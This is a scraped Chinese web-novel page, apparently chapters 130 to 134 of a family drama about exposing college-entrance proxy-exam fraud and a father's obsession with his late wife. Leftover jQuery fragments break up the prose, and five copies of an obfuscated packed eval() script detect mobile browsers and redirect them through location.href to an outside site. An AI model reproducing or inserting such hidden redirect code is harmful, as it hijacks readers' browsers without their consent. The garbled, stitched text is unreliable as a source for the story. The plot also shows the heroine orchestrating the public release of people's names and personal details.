$(''#content'').append('' 他能怎么办呢?真的不给让这个算是养大自己的父亲出事吗? 他为了挣钱在夜场拼命推销卖酒卖笑,最终拿到的钱全都到了苏正坤的手中。 他成了无情的赚钱机器……甚至于,替考机器。 多可笑多悲惨的人生。 许愿双手都在颤抖,看得眼前一片模糊。 在这一刻她能够完全明白苏逸为什么对她的态度转变如此之大。 第一次见面,她高高在上,是与他身份天差地别的学姐,是陌生人,他或许会羡慕他的未来,却不会因此怨恨。 但第二次她就成了苏逸同母异父的姐姐。 他不是没有亲人,她明明身份尊贵,只要伸伸手就能救他离开深渊,她为什么要躲着藏着要让他在这样阴暗的角落痛苦的遭受折磨。 他有多少次在深夜里面偷偷哭泣幻想着有个人能救他离开人间炼狱? 如果没有这样的人,他或许会完全死心。 可是……他 有她这样身份的姐姐啊。 她甚至能够猜到苏逸在怨她在恨她,为什么不救他呢,为什么要让他烂在泥地里呢? 许愿感受到脸颊上的凉意,眼泪早已不受控制的自眼角滑落。 “他恨我。” 许愿唇角的笑意都是苦涩的。 “如果我是苏逸,我也会恨这样的姐姐。” “我们有着相同的母亲,却过着截然不同的人生,我明明有能力救他,却让他在腐臭的泥水中自我挣扎。” “他的确该称呼我为许经理,因为我不配当他的姐姐。” 盛景炎很轻微的叹了一口气,他指腹轻柔的擦拭着她眼角的泪水,声音温和。 “为什么不换个角度去想呢。” “他是开在阴暗腐臭的泥水中,可就是这样阴暗的角落里他都能飞速成长开出绚烂的花朵,那高考过后的他,成年的他要有多耀眼。” “你们姐弟两人多像,哪怕是在困难的逆境也从未真正倒下。” 盛景炎轻笑:“你们这样,才是真正的姐弟。” 第130章 谈判 苏逸是经历过不堪的人生,可许愿又能好到哪里去? 她们还不是挺直了腰背在风雨中坚定的迈出一步又一步? “我知道你是在哄我。”许愿没有看身边的男人,她目光仍然停留在资料上面。 盛景炎唇角只是勾起一抹轻笑,目光重新停留在许愿手中的资料上,他往后翻阅几页,赫然看到上面一些小家族的姓名在列,都是与许镇江有过交涉合作的。 在a市真正的大家族很清楚自己的身份地位,家中子女都会给予最优越的教育,若是在这样的环境下都不能成才那就只能是个废物,可再废物他们也会花钱将人送出国深造,或者在国内捐一栋楼让家中子弟继续念书。 而非是这种小门小户出身的,敢在高考上做文章。 任何人都知道,高考是普通人唯一能够跨越阶级最为公平的一条路,一旦这条路也不干净了,那将会爆发一场阶级大战,所有涉足其中的家族都将被抵制,没有人会幸免于难,纵然是盛家,若是敢脏了这条路,也需要付出惨痛代价。 可即便如此,往后每一年的高考都会被人提一句,或者疑惑今年的高考是不是真的干净有没有人替考,这些人会再一次被拉拽出来辱骂嘲讽。 在高考上做文章,就是惹了众怒。 “看看这些人吧,他们敢在高考上做文章,家里应该并不干净,薛酒不是已经查出来了?” 许愿目光落在其上,眼神微微闪了闪,良久后嗯了一声。 “没了苏逸他们这种人一定还会向其他成绩优越的学生下手。” “我会让他们知道,有钱并不能为所欲为。” 巧的是,薛酒查的资料很全,其中包括他们已经寻找好的替考生,这些学生的成长环境与苏逸大同小异,都是被家中父母剥削了最后反抗的机会。 他们拿到了一大笔钱挥霍,却忘了这笔钱是如何来的。 许愿眸色愈发深暗。 “我会安排营销号将热度炒上去,然后曝光这些人的姓名资料。” 话落,她已经安排薛酒在各大营销号账号上发布有关高考替考相关的资料,盛景炎也吩咐盛世营销部门将消息都发散出去。 马上临近高考,考生们都因为即将来临的高考烦躁紧张,现在却爆出这么大热的新闻,多少人都惊呆了,不管是不是今年的考生都会为此愤懑。 【这消息怎么突然被爆出来了?】 【提到替考,我突然想起去年我们学校一直第一的那位学霸突然重病没能参加高考,那之后再没有她的消息了,倒是去年有个挺有钱的学渣一跃考上a大,这位学渣在我们学校都上了表彰墙了,现在有新生老师们最常讲的就是这位学渣人物,现在掀起替考风波,细思极恐,我们那位学霸是不是被控制……】 【我以为只有我身边才有这种例子,怎么大家身边都有吗?我们学校的那位学霸也是突然病重,现在病都没好,后来再没见过了。】 【能办出这种事的只能是资本家有钱人了,但是真正的有钱人不会直接买个学历吗,再不济都会花大价钱出国留学或者捐楼,不会真的蠢到跟普通人抢这种机会。】 【夏秋秋!有没有人给夏秋秋我们学姐做主!谁来救救她!被逼替考拒绝后绑架她侮辱她,学姐最后不堪受辱跳楼自杀!谁来救救她!】 一场替考风波,牵连众多。 还没有放出真料,就已经激起民愤。 关于替考的话题已经彻底的被炒起来,多少热帖被顶起,盛华和盛世同时在此刻站出来发声,他们会成立此类基金会组织,只要遇到这方面困难的,全都可以申请盛华及盛世的帮助,盛世盛华与他们同在。 盛世已经被盛景炎接手,这阵子慈善事业没少做,盛华更是不用多说,在最初冒头时都没少各种捐款。 有人甚至磕上了盛世盛华的cp笑称既然公司都姓盛还关系这么好干脆联姻算了。 一直在盛华与薛酒一起操纵舆论的陆斯年眉梢挑了下,心道已经联姻了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618084|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 盛世盛华放话了,数个电话切进来,微博账号上的私信留言也是多得数不过来,全国多少个省市区?而这种事早就形成了一条经济产业链,轻易拔除不了的。 可这次许愿就是铁了心要让这些人付出代价,她就是要把事情闹大。 她不单是为那些学生鸣不平,她也想让苏逸知道,她这个姐姐不是一点用处都没有的。 替考相关的信息冲上热搜,还在许家心疼那一个亿的许家父女也慌了,看到热搜的一瞬间,许宁心都凉了半截。 许愿真是完全不给她缓口气的机会,乘胜追击的紧咬着她们不放。 这是要他们死吗! 她都还没来得及去求傅京礼,热搜就已经爆出来了。 不行不能让这件事继续闹大。 许宁咬着牙想花一笔钱撤热搜,或者顶其他热搜,岂料营销号回得直接,盛世盛华联手操控了热搜局面,谁能插进来,谁敢插进来?那些参与替考事件的小家族都不敢插进来! 许宁眼前一黑:“爸,现在只能先让许宁回来一趟。” “她手里捏着我们太多把柄,我们必须跟许愿谈 判。” 苏家父子在许愿手上,她犯罪的证据在许愿手上,桩桩件件加起来,许愿是真的想要他们的命吗。 这样大的事,若是能解决,她真的不想让傅京礼知道,真的太丢脸。 接到许镇江电话的许愿淡淡的,她毫不意外会接到这通电话。 她当然会回去,甚至会带着盛景炎回去。 苏逸相关的事,她必须要个交代。 “跟我回趟许家。” 她现在对盛景炎完全不客气,盛景炎自然应允,甚至对此有几分享受。 回到许家,路过那口青绿静婉的池塘时,许愿驻足观望了一会儿,看着已经由一片荷叶长成了大片荷田的一叶莲,目光只是微微暗了几分。 许镇江站在门口,扬声说道:“回来了?” 第131章 别把人当傻子 “嗯,回来了。”许愿收回目光,朝家走去。 “盛总也来啦。” 许镇江本还打算摆出一副自己是一家之主趾高气扬的姿态,可如今瞧见盛景炎,气焰都消下去,只能露出讨好的笑容。 盛景炎站在许愿身边,脸上仍然带着明显的笑意。 “来为我的未婚妻讨公道怎么能少得了我?” 盛景炎毫不避讳暴露自己此行的目的,听到盛景炎称呼自己是未婚妻,许愿偏头看他一眼,对上男人含笑的眼,反驳的话到嘴边到底是没说下去。 许镇江脸上的笑意都僵了,只能尴尬的哈哈两声,他不敢接这话茬,只能脸上带笑的把人迎进去。 “阿愿,今天我叫你回家就是想跟你商量点事。” 许镇江舔着张脸凑过来, 他什么时候对许愿这么客气过,可偏偏现在许愿是他最拿得出手的女儿,至于许宁……废物一个,他和许宁虽然是一条船上的,不代表他就不打算利用许愿。 许愿不接许镇江的话,她脸色冷淡的嗯了一声。 “在许先生你开口前我有些事也要拜托许先生。” 许愿并没有喊他做父亲,语气都透着几分凉薄,若非许镇江知道面前的是与自己血脉相通的女儿,他怕是一位仇家来寻仇。 “姐姐你怎么能这么说话呢,不管父亲做错什么那都是长辈,怎么能这么不知礼数的称呼父亲许先生呢。” 许宁怀里抱着个软软的抱枕,懒懒散散的掀起眉瞥了许愿一眼。 她怀中抱着的是多年前许镇江在许愿生日时敷衍的在商店随便买的一个抱枕玩偶,是许愿每次渴求亲情的时候都会抱在怀中安慰自己的玩偶。 现在想来实在可笑。 也不知道许宁是从哪里找出了这个玩偶在这里刺激她。 她早就不在意这些了,难为许宁还特意把玩偶找出来。 不过……哪怕是不在意要丢了的东西,也绝不会让许宁得到。 许愿动作缓慢的踩着高跟鞋走到许宁面前,她俯身,神色寡淡,唇角不带半分笑意。 她突然在面前放大的五官让许宁顿时错愕,距离这般近,饶是满腹心机的许宁也被这样极端的美貌所震撼一时无法言语。 “这东西是我的。” 许愿夺过她怀中的抱枕,慢条斯理的从桌上拿起一把剪刀,动作缓慢的一剪刀一剪刀的将玩偶剪成碎布条露出其内的棉絮。 “你疯了?” 许宁眼睁睁看着许愿将玩偶剪碎,心间都在颤抖,她觉得许愿可能并不是单纯的想剪那个玩偶,她更想剪碎自己! 她浑身鸡皮疙瘩暴起。 “你知道这代表什么吗。” 许愿喉间溢出笑意。 “代表我这辈子渴望却永远无法得到的父爱,许先生一定忘记了这个玩偶代表什么,不过没关系,一切都不重要了。” 许愿将剪刀掷到桌面上,清脆的碰撞声。 “我已经不在乎了。” 这世界上能有几个人天生就情感淡漠看淡一切呢?多数后期情感淡漠的人都是前期遭受太多的伤害才会看淡一切。 就像许愿。 她并非没有渴望过父爱,只是她的父亲不在乎她,一次又一次的敷衍无视让她对这样的父爱没有了任何的渴望寄托。 她早就不需要这些了。 她清楚的知道,有些事父亲不会救她,只会推她跌落深渊,能救她的只有她自己。 “我的父亲,只有一个女儿,不是吗。” 许愿唇角带着笑,那笑意清浅冷淡,不带半分感情。 许镇江根本说不出话,因为他完全记不起这个玩偶是自己什么时候送给许愿的。 此刻他甚至恨上许宁,为什么要挑着这个时间来刺激许愿,他们把许愿叫回来不就是为了哄着许愿吗!她刺激许愿做什么! 许镇江脸上的笑意都带着几分狰狞,他恶狠狠瞪了许宁一眼,许宁却仍然笑吟吟的,仿佛对此毫不在意,又或者她本身就是故意的。 “阿愿,你别胡说,你是我第一个女儿,是上天赠予我的礼物,我当然在乎你。”许镇江心虚的说出编撰的谎话。 许愿简直要笑出声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618085|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “许镇江,别把人当傻子,你待我几分真几分假我会不知道吗。” “不必再提那些你说了都觉得恶心的谎言,我今天肯回许家就是为了讨个说法。” 她不想跟许镇江纠结跟父爱有关的事,那只会让她觉得在浪费时间。 许镇江满脸茫然,甚至说是在装傻。 许愿眼底带着冷意的笑实在明显。 “难道许宁没告诉你吗。” 许镇江这下是真的发愣,许宁此刻却是坐立难安,有关高考的事许镇江能猜到,但是旗袍的事许镇江是真的不知道。 她这次带着苏青莲的旗袍去博雅拍卖,甚至被许愿指出不是原品,如果这件事情闹大,不光是名誉扫地,可能还会被高奢名流圈层拉黑。 她满腹心思都是想嫁给傅京礼,想要改变自己的阶级身份,如果嫁给傅京礼后却同时被这个圈层排斥,那一切的努力就全都白费了。 她不能 接受这一切。 许宁面上露出几分挣扎之意,她咬着下唇,死死盯着许愿看。 许镇江还有些懵,许宁回来后可是什么都没说,他能知道什么?难道许愿今天来许家不只是为了苏逸的事? “许宁拿走了我母亲的旗袍带到博雅拍出天价,她带出的旗袍不幸是仿品,真品早就被我取走。” 许愿声音淡淡的:“以我母亲的名义拍出天价,拿出的旗袍却只是仿品,你觉得这则消息一经放出,上流圈层还有谁会看得起这位私生女出身的许家二小姐。” 许愿语气平静:“等到那时,哪怕许宁嫁给傅京礼也无济于事。” 就算嫁给傅京礼,也不会改变她是私生女的身份,她的出身是原罪,得罪博雅就是间接得罪a市上流圈层,没有人会冒着被博雅拉黑的风险去奉承许宁。 哪怕她以后的男人会是傅京礼。 博雅已经是盛华的产业,盛华与盛世牵连颇深,纵然傅氏再如何强大,却也不一定能敌过两家联手,除非……再加上江家宋家。 但是……一个许宁?如何值得几大家族为她出手,她实在不配。 第132章 游戏人间的是苏青莲 许镇江现在整个人是懵的,许宁拿着苏青莲衣服去博雅拍卖的事他是完全没听说。 “你不经过我同意就拿走了苏青莲的遗物?” 许宁抱着双臂,一副色厉内荏的模样。 “那又如何,还不是因为你给我的零花钱太少?” 许宁冷笑:“你能被莱蒂斯哄骗一个亿,我不过是拿了苏青莲一件旗袍你如此激动做什么,还是说你对苏青莲旧情难忘,你别忘了,苏青莲早就背叛你跟别的男人生了个苏逸!” 许镇江被气得有些心梗。 父女二人开始对峙,许愿冷眼以待。 直到听得疲累了,盛景炎目光一直落在她身上,伸出手帮她捏着眉心。 “很累?” 许愿嗯了一声:“有点吵闹过头了。” 盛景炎听此倒是没说什么,只是默默的拍了下手,房门立刻被推开,冲进几个黑衣保镖将吵嚷的两人分开,果然,世界清静了。 “……” 许愿有点头疼的捏了捏眉心。 “你一直都这么……雷厉风行装逼范儿的吗。” “最近又看什么奇奇怪怪的东西了。” 她问得直白。 盛景炎凑到她耳边:“你不觉得这样很刺激吗?在你最无助最脆弱的时候,我就像是救世神一样出现在你面前,一个响指一个动作替你解决好所有魑魅魍魉,不觉得很有意思吗。” 许愿拽住他的领带,长指勾动着,盛景炎配合的贴近。 “比起这个,我更希望我们两个在你的剧本里面角色互换。” 作为盛华真正的掌舵者,她确实有这个资本。 “倒也不是不行,只是不知道你喜欢哪种剧本,你觉得我这样要不要演个娱乐圈的小明星,你就是那个救我于水火的富婆金主,其实今天回去后可以让人写个剧本,要不要演着玩玩?” 许愿:“……” 这是她没预想过的结果。 “你是不是忘记我们来这里的目的?” 好吧,他确实忘了。 许愿只觉两眼一黑又一黑。 真正要崩溃的是被保镖捂住嘴像是犯人被扣押在地上的许镇江和许宁,两人被这样控制者看着许愿和盛景炎打情骂俏,许宁都险些爆粗口骂句狗男女。 盛景炎收了嬉笑的表情,将主场让给许愿。 许愿缓步走到许镇江面前,看他此刻狼狈的模样,居高临下的,眼神冰冷的看着他。 “十几年前我就是跪在这里求你放过苏逸给他一条活路,许镇江,你答应得多好。” “你告诉我你给苏逸找了一个幸福美满的家庭,他可以像普通人一样幸福快乐的生活。” “可这样的幸福只浮于表面。” “你亲自将他推入深渊,你要将他羽翼的颜色彻底染黑,你不肯给他挣扎成长的机会,你就是要一点点的将他踩进泥潭,你要让他一辈子都活在污泥中……” “你编织了一个可以毁掉我毁掉苏逸的惊天谎言。” “因为你的嫉妒和你的恨意你要毁掉所有跟苏青莲有关的事物。” “许镇江,你这样卑劣的男人骨子里都散发着腐臭的腥气,你从头到脚就连头发丝都是令人恶心的。” “你的恶意竟然能够如此之深,躲过了你的算计就要让他永远跌进泥潭,连高考替考这种毁他一辈子的事你竟然真能做得出来。” “你心里很清楚,一旦苏逸被逼替考,他就会一辈子钉在耻辱柱上,被人唾骂厌恶。” “你对我那样虚伪的笑着,说要放过苏逸,但事实却是你从没想放过他。” 许愿几乎是咬着牙说出这些话,她此刻对许镇江的恨意根本无法遮掩。 被许愿这样指责,许镇江彻底怒了,即便是被保镖踩着背也还是在奋力反抗。 “我有什么错!你告诉我我有什么错!” “是苏青莲那个贱人背叛了我!” “你根本不懂!你根本不懂我对她的感情!” 感情? 许愿眼神冰冷的死死的盯着他:“许镇江,是你先出轨有了许宁,你们之间是你先背叛了我母亲!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618086|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哈哈哈哈……说什么我背叛了苏青莲,你竟然真觉得是我背叛了苏青莲……” 许镇江完全克制不住自己,他攥紧拳头咬牙切齿。 “从一开始苏青莲想嫁的人就不是我,他不过是看中我这张跟那个男人相象的脸,他把我当做替身玩弄,不然你以为苏青莲那种自视甚高的女人凭什么……她凭什么屈尊嫁给我?” “你以为他在乎我吗?你以为许宁是怎么来的!是你母亲亲自把那个小三送到床上的!如果我真的那么风流那么多情,我在外的私生子女早就数不胜数了!怎么可能只有许宁这样一个拿不出手的私生女!” “从头到尾都是苏青莲在设计我。” “哪怕是……哪怕是她的死都是一场精心策划的游戏,她就是要在我生日当天给我开一个血腥的玩笑。” “她就是这样恶毒……她为什么要这样做?为什么要对我这么残忍?我是渣男我是废物可我有了她我已经改了!为什么还要继续伤害我?我的爱全都给了她 还不够吗?” “为什么把那个女人送到我床上,为什么要跟我离婚,为什么要跟别的男人孕育子嗣,为什么要有苏逸……为什么!” 许镇江愤恨的牙齿几乎都要咬碎。 “我恨。” “我当然恨苏逸。” “他是苏青莲和别的男人生下的孩子,我为什么要放过!” “我就是要这样卑劣的对付苏逸,我就是要针对他设计他。” 许镇江眼神中都带着几许空洞。 “万一,她会心疼在意苏逸呢?万一她还活着,就躲在暗处呢……” 许镇江像是疯了,他哈哈哈的大笑几声。 “苏青莲!你真的死了吗!你还活着对不对!你出来!你出来见我一面啊!” 许镇江的话,令场内所有人都惊了。 所有人都以为许镇江不爱苏青莲,是苏青莲爱许镇江爱到不堪受辱爱到自甘堕落爱到深受情伤最终自杀。 可事实却是苏青莲不爱许镇江,只有许镇江在深爱她。 第133章 她是个只在乎自己的疯子 许愿听得阵阵恍惚。 她几乎要站不稳,盛景炎单手揽住她的肩膀,眸色也愈发深沉难以预测。 苏青莲很有名,不论在国内还是国外。 哪怕她去世后,业内仍流传与她有关的信息。 那时整个华国电子信息技术真正兴起还没有多久,苏青莲就已经逆向思维提出研究全息,是国内第一人,她创立独属于自己的奢侈品牌,并在去世前任性的关停。 她所做的礼服早已成绝版,她参与过海外的艺术节典礼,荣获过奖项,有国家王子称呼她是世界上最美丽的珍珠,是稀世珍宝,是唯一的公主。 她美丽、优雅、落落大方,却又任性、疯狂,所有的特质加在一起,组成了独一无二的苏青莲。 圈子里都曾谣传若是苏青莲还活着,那国内最强大的资本可能会姓苏。 她是一个狼一般狠辣强大的女人。 即便过了十几年,盛景炎他们还能从上一辈口中提起苏青莲的强大。 华国的“su”谁没听过呢? 就像最初盛景炎遇到许愿时,他会失望。 仅因为在他眼中,苏青莲的女儿不该是那般唯唯诺诺的女人,她该是耀眼的,该是光芒万丈的。 果然,苏青莲的子嗣,不论是许愿还是苏逸都是异类,是普通人中的“异端”。 许愿仍在恍惚,她实在不明白为什么得到的是这种回答。 不该是这样的。 在她印象中,是许镇江带了其他的女人回家,有了许宁,他将许宁捧上天,亲自将她踩进泥地,是他逼着自己不得不找后路。 可现在却告诉他,是苏青莲背叛了这段感情? 可笑的是她,还是许镇江? “是苏青莲背叛了我!是他背叛了我!” 许镇江叫嚷怒喊。 他为什么会那般苛刻的对待许愿,因为许愿和苏青莲长得太像了。 他看到那张脸就又爱又恨,他恨到想要亲自毁掉却又舍不得,他只能逼着自己更在乎利益,可最终却还是在许愿提到苏青莲时,他感觉到忧伤。 许镇江克制不住,双手捂住自己的脸哭泣。 “苏青莲……苏青莲你回来啊……” 许愿看着眼前狼狈的许镇江,手却不受控制的攥紧,眸光愈发深沉。 就像许镇江说的那样,当年的许镇江只有一张拿得出手的脸,此前风流多情小家族出身,凭什么被那般尊贵的苏青莲瞧上呢? 真相到底是什么? 苏青莲真的是自杀吗,还是说……她还活着。 许愿只要一想,就觉得毛骨悚然浑身发寒。 若是苏青莲还活着,那现在这一切她都有预料吗? 或者是躲在暗处看戏,就像许镇江说的,她开了一个天大的笑话。 “不论如何,都是你骗了我。” 许愿嗓音带着点哑意,她看着许镇江开口:“你跟苏青莲的事,除了你没有人清楚事实真相,谁能知道你说的那些不是你找的借口。” “你伤害了苏逸这是事实,你设计陷阱引诱苏逸替考也是事实,你做的事我都会一件件还回来,该你偿还的,我绝不放过。” 他都已经疯成这样,根本无法沟通。 许愿眸光深沉晦涩的看他许久,转身便要离开。 离开之际,她路过已经呆呆傻傻愣在原地的许宁,嗤笑一声。 “许宁,你听到了吗,你的母亲其实只是我母亲的玩具。” “你以为的,全都是许镇江演出来的。” “苏青莲死在他生日当天,就是为了恶作剧,开一个血腥的玩笑。许镇江说的‘真晦气’,你猜说的是什么意思?他已经爱她爱到发疯呢。” 许宁气到浑身发抖,恶狠狠的瞪视许愿。 许愿眸光晦暗的离开,走到玄关处的大门时,许镇江沧桑的声音幽幽响起。 “许愿。” “她一定还活着。” “她在看着你。” 许愿脚步顿住:“许镇江,我看你是真的疯了,苏青莲已经死了。” “她的尸体你没有看到吗。” 许愿声音充满凉意,她不想跟疯子继续说话。 “假的。” 许镇江咯咯的笑着,声音恐怖渗人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618087|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那是假的。” “没人看出来,只有我看出来,苏青莲跑了,她玩够了就要把她的玩具丢掉踹开,她跑了!” “许愿,她在看着你呢,她躲在哪里?a市?b市?h国?国?找不到的,她不想让我们找到就没人能找到她……” “她是个只在乎自己的疯子……” 许镇江又开始发狂的哈哈大笑,提到苏青莲那双浑浊的眼睛里又在不断地流下眼泪,他趴在地上,狼狈可怜的念着“苏青莲”的名字。 许愿克制不住的回想幼年时期苏青莲的那张脸,模模糊糊的变得清晰,她似乎能透过那张美丽的面容看到她眼底不带任何感情的冷意。 如果许镇江说的一切都是真的,那这么多年来,她对苏青莲的感情寄托又算什么? 如果苏青莲还活着,为什么要丢下她和苏逸?她真的猜不到他们会遭遇什 么?或者说完全不在乎这一切。 她不爱许镇江,不爱她,不爱苏逸。 苏青莲爱谁呢。 她大概只爱她自己。 许愿恍惚了片刻,最终还是转身离开,事实真相如何不能由许镇江说了算,她会自己调查自己判断。 许愿和盛景炎离开后,大厅瞬间陷入一片冷寂之中。 许宁克制不住的将目光放到许镇江脸上,面色带着几分狰狞之意。 “你说的那些到底是真是假,说啊!” 许宁拽住许镇江的衣领,却发现许镇江眼底都是癫狂之色,他拂开许宁的手:“当然是假的。” “我在转移许愿的注意力,她现在满腹心思都是调查苏青莲,刚好让你能够有时间去找傅京礼帮你解决这些事,以免事情闹大只能认栽。” 许宁哼了一声。 “我就知道你是在说谎骗许愿。” “如果你真的那么在乎苏青莲,就不会任由我欺辱许愿宠着我。” 许宁对此嗤笑连连:“只有许愿那个蠢货才会把你的谎言当真。” 许镇江深深的看了许宁一眼,眼底藏着几分晦涩之意,他像是一瞬间苍老了许多。 “去找傅京礼吧。” 第134章 苏青莲和阿江 许宁也知道轻重缓急,嗯了一声内心想着对策,要如何恳求傅京礼帮自己解决这次的事。 大厅只剩下许镇江。 他还坐在地上,有些无措又有些失落。 他年纪不小了,但这些年仍然坚持锻炼,如非应酬很少碰烟酒,他的相貌是英俊的,即便年过五十也是俊美儒雅的。 他一手撑着地面从地上站起来,走路都颤颤悠悠的。 他扶着楼梯扶手,一步一步走到楼梯顶层,取出一把钥匙打开房间门。 打开这扇门时他的手都在抖。 房间内布满灰尘,只走一步就感觉灰尘簌簌的往下落,飞尘呛得他开始咳嗽。 这么多年他一直没敢打开这扇门,就是担心打开后看到自己不敢看的东西。 其实这间房才是当初苏青莲真正的房间。 他是真的很爱苏青莲,这间房都是他为苏青莲特地装修设计的,只是一间房,书房、浴室、设计室、衣帽间、琴房、工作室全都囊括其中。 这里涵盖了苏青莲的生活。 他站在门口,视线在四处游移,怔愣之际眼前仿佛出现幻觉。 眼前好像看到苏青莲盘起那头柔顺如黑色海藻般的长发,穿着水墨色的旗袍,身姿婀娜窈窕,眉眼之间都带着恬淡的温柔笑意。 “阿江,你回来了,我等你好久了。” 她五官明艳却又温婉艳丽,声音却又带着点江南女性的柔美,哪怕这么多年过去,他仍能清晰的记得她甜美动人的嗓音。 许镇江扶着墙缓缓走过,像是想抚摸她的脸颊,却摸了个空,只摸到满手灰。 他抬手抚摸着自己的额头,像是在低声哭泣。 终于,他打开抽屉,取出了曾经他看到的苏青莲留下的一些手稿,是他偷偷抄录下的内容。 他至今还记得内容。 【我在去梧桐城的路上看到了落满地面的梧桐叶,它们的颜色很美,即使枯萎被风吹落,还带着童话那般美丽的颜色,停留在你的肩头一定很美,有时间陪我一起去梧桐城吧,阿江。】 【路过江南水乡,划船时闹了笑话,划到了反方向,如果阿江在的话一定会帮我兜底的。】 【在f国的比赛得奖了,你有看到吗。】 【王子殿下称呼我是唯一的公主,那么你呢,你是我唯一的王子吗,阿江。】 【碧城江边秋桂月,满辉落日入星河。我在碧城看山看谁看收藏落日余晖藏在心里一颗星星,未来的某一天我会分享给你的,阿江。】 …… 【阿江,我好想你。】 【我透过很多人在看你,他的眼睛像你,他的鼻子像你,他的气质像你,很多人都像你却独独不是你。】 【风吹过的时候,星夜都在说想念,阿江,你在另一个世界想我吗。】 【为爱赴死很伟大,但为了你,我可以为爱而活。】 【阿江,来我梦里见我一面吧。】 许镇江看着看着就泪流满面。 阿江是谁呢?那个被苏青莲念了那么久,深爱着的,藏在内心深处无法割舍的阿江到底是谁,是他吗? 不,如果是他,苏清凉就不会那般残忍的对待他! 他不是阿江,他是许镇江。 这不是苏青莲的日记本,这是苏青莲零零散散的工作日志里记录的内容,他不敢动,只能重新抄录一份。 最初的他以为其中的阿江是他自己。 直到看到那句【为爱赴死很伟大,但为了你,我可以为爱而活。】,他才终于知道一切都是他在自作多情,苏青莲从不爱他,她的心里早就盛装了另一个人。 她选择他只因为他跟那个男人长相相似,名字里也有个江字。 他就像是苏青莲挑选好的手办替代品。 苏青莲自私吗?她是自私的,她自私到不肯分一点爱到他身上,全然毫无保留的给了另一个男人。 所有的纯爱,都倾注在另一个男人身上。 那个男人叫“阿江”。 他幻想着苏青莲能为了他这张脸永远留下,他越来越在乎自己的颜值身材,他没有苏青莲喜欢的内在,他只能靠着这副皮囊留住苏青莲。 直到……直到迎来了许愿的出生。 他从不曾拘束苏青莲,她只是出国旅游散心参加比赛,再回国却已经大了肚子即将临盆。 她生下了许愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618088|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她跟谁有了孩子,他清楚的知道自己从没有碰过苏青莲,他觉得自己的触碰对她来说或许会是一种玷污。 可……又是谁玷污了他的爱人? 他好恨,可看到苏青莲眉眼弯弯的模样又觉得心都是凉的。 苏青莲给孩子取名叫“许愿”,他不敢深想这个名字的用意。 许什么愿?希望那个阿江重新出现在她面前还是希望那个男人重新活过来? 没可能的。 许镇江知道没可能却又觉得嘲讽,他恨许愿,却又因为她是苏青莲的女儿而偏爱她。 他甚至觉得,因为有许愿的存在,或许苏青莲不会抛弃他,会一直留在他身边。 可他错了。 苏青莲还是厌了倦了,在她不知道和谁 生下苏逸后,她残忍又决然的想要离开许家离开他。 她甚至体贴的为他留了一封信说明了前因后果。 【许先生,你应该早就发现我藏在日志中的备忘录了。 阿江是我青梅竹马的爱人亦是我的未婚夫,他参与一场秘密科研行动,最终丧命。 阿江参与行动前被家族逼迫留下了基因,那两个孩子是我和阿江的结合体,是我们血缘生命的延续。 但是再重要的血缘终究抵不过阿江对我的羁绊呼唤,我感受到他在叫我。 我会找一个地方,我会藏起来,然后去往另一个世界去见他。 这次离开后,或许不会再见面,许先生,愿你余生安好。】 这是苏青莲留下的唯一与许镇江有关的书信。 她为了那个阿江离开,去了哪里不曾说。 她躲起来,躲到没人能找到她的地方。 他知道苏青莲为什么要做出自杀的模样,她不希望那些人知道她的踪迹,她想这样做,他也全都依着她。 